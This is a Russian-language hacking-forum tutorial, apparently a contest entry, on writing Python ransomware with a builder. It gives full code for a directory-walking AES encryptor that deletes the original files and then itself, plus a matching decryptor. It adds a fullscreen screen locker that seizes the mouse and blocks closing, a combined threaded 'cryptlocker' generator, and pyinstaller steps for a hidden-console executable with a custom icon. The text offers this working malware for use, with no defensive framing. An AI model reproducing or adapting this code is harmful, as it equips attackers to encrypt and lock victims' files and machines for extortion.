Статья написана стпешиал фор влми конкурс
Алоха, вообщем сегодня я расскажу и покажу как написать небольшого шифровальщика-локера на языке программирования Python. Так же напишем билдер под него.
По традиции скачиваем питон с официального сайта ТЫК
Дальше, чтобы пользоваться функцией pip, нужно добавить ее в path. Для этого переходим в дополнительные параметры системы, параметры среды, ищем строчку path, клацаем изменить и в конце через точку с запятой добавляем путь к папке с питоном и папке skripts которая лежит в папке питона
C:\Users\Имя пользователя\AppData\Local\Programs\Python\Python36-32;C:\Users\Имя пользователя\AppData\Local\Programs\Python\Python36-32\Scripts
Наш шифровальщик будет шифровать по стандартному алгоритму AES (с отдельным ключом естесна)
Вообще можно наляпать туда множество плюшек типа, обфускации, шифрования данных по трем алгоритмам, запуск онли на юса машинах и так далее ( да перечитал описание к Tron'у), но я покажу лишь принцип работы и его чистый код.
Поехали
ПИШЕМ ШИФРОВАЛЬЩИК
Начнем с того что у любого шифровальщика должно быть два файла это файл который шифрует данные и файл который их дешифрует.
Начнем с файла шифровальщика
Сначала импортим модули отвечающие за шифрование и действия в системе
Код:
import pyAesCrypt
import os, sys
Далее создаем функцию которая шифрует данные
Код:
def crypt(file):
print("---------------------------------------------------------------" )
password="hello"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
Функция password это и есть наш ключь шифрования (сюда можно вставит любой пасс он и будет являться ключом).
Далее создаем функцию которая лазит по директориям
Код:
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir,name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("C:\Users\User\Desktop\папка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))
Здесь важно указывать именно директорию которую нужно зашифровать а не отдельный файл иначе программа крашнется
В конце удаение файла чтобы из него нельзя было достать ключ.
Все наш шифровальщик готов, теперь нужно сделать дешифратор.
Код:
import os, sys
def decrypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="hello"
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk("C:\Users\User\Desktop\папка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))
ПИШЕМ БИЛДЕР ДЛЯ ШИФРОВАЛЬЩИКА
Код:
direct=input("Write the root directory: ")
password=input("Write the password: ")
print("---------------------------------------------------------------" )
with open("crypt.py","w") as crypt:
crypt.write('''
import os, sys
def crypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
print("[+] File 'crypt.py' successfully saved!")
with open("key.py","w") as key:
key.write('''
import os, sys
def decrypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
print("[+] File 'key.py' successfully saved!")
print("---------------------------------------------------------------" )
При запуске билдер запускается командная строка и вы вводите параметры которые учитываются при билде файлов( генерируется 2 файла, шифровальщик и ключ)
Оба файла сохраняются в директорию с билдером.
ПИШЕМ ЛОКЕР
Я уже видел локер на влми от @danaforevr, мой локер будет чутка по проще)
Код:
from tkinter import Tk,Entry,label
from pyautogui import click, moveTo
from time import sleep
Далее создаем функции
Код:
def callback(event):
global k,entry
if entry.get()=="Lockerrr": k=True #пароль который человек должен ввести чтобы разблокировать систему
def on_closing():
click(675, 420) #координаты кликанья мышки
moveTo(675, 420) #координаты сдвига мышки
root.attributes("-fullscreen",True) #создаем экран во весь монитор т.е без полей
root.protocol("WM_DELETE_WINDOW", on_closing) #закрытие посторонних окон
root.update()
root.bind('<Control-KeyPress-c>', callback) #какие клавиши нужно нажать когда введешь пароль
root=Tk() # Создание окна
root.title("Locker") # Заголовочное название
root.attributes("-fullscreen",True) # Расширение под экран
entry=Entry(root,font=1) # Поле ввода
entry.place(width=150,height=50,x=600,y=400) # Координаты и размеры
label0=Label(root,text="Locker_by_CypherZ",font=1) # Надпись 1
label0.grid(row=0,column=0) # Координаты надписи 1(по колонкам как в exel)
label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20') # Надпись 2
label1.place(x=470,y=300) # Координаты надписи 2
root.update(); sleep(0.2); click(675, 420) # Обновление экрана программы
k=False
while k!=True: on_closing()
Вот и все наш карманный локер готов, теперь нам надо совместить локер и шифровалльщик.
Наша программа будет действовать по очередности то есть сначала запустится локер а под ним будет работать шифровальщик.
(это уже билдер т.к отдельно писать локер-шифровальщик а потом добавит в него пару строк кода чтобы превратить его в билдер - бессмысленно, только лишний текст)
Код:
direct=input("Write the root directory for crypt: ") #пишем директорию для шифрования
password=input("Write the password for crypter: ") #пишем пароль для шифровальщика
pasw=input("Write the password for locker: ") #пишем пароль для локера
with open("cryptlocker.py","w") as crypt:
crypt.write('''
import os, sys, pyAesCrypt
from threading import *
from pyautogui import click, moveTo
from tkinter import Tk,Entry,Label
from time import sleep
def locker():
def callback(event):
global k,entry
if entry.get()=="'''+str(pasw)+'''": k=True
def block(void):
click(675, 420)
moveTo(675, 420)
root.attributes("-fullscreen",True)
root.protocol("WM_DELETE_WINDOW", block)
root.update()
root.bind('<Control-KeyPress-c>', callback)
global k,entry
root = Tk()
root.title("Locker")
root.attributes("-fullscreen",True)
entry = Entry(root,font=1)
label0=Label(root,text="Locker_by_#571",font=1)
label0.grid(row=0,column=0)
label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20')
label1.place(x=470,y=300)
entry.place(width=150,height=50,x=600,y=400)
root.update(); sleep(0.2)
click(675, 420)
k=False
while k!=True: block(None)
def crypter():
def crypt(file):
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
thread_1 = Thread(target=locker) #Эти функции говорят чтобы сначала запускался локер а потом шифровальщик
thread_2 = Thread(target=crypter) #
thread_1.start(); thread_2.start() #
thread_1.join(); thread_2.join() #
''')
print("[+] File 'cryptlocker.py' successfully saved!")
with open("key.py","w") as key:
key.write('''
import os, sys
def decrypt(file):
import pyAesCrypt
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
''')
print("[+] File 'key.py' successfully saved!")
КОМПИЛЯЦИЯ
Компилить можно через pyinstaller, py2exe, cxFreeze. Самый удобный по моему это pyinstaller, будем компилить через него.
Код:
pip install pyinstaller
Код:
pyinstaller -i названиеиконки.ico -F -w названиефайла.py
-F - параметр собирающий все в один бинарник
-w - параметр указывающий на закрытие командной строки при запуске бинарника
(все файлы с которыми вы будете работать при компиляции должны лежать в одной паке)
Вот и все, мы написали наш locker-шифровальщик.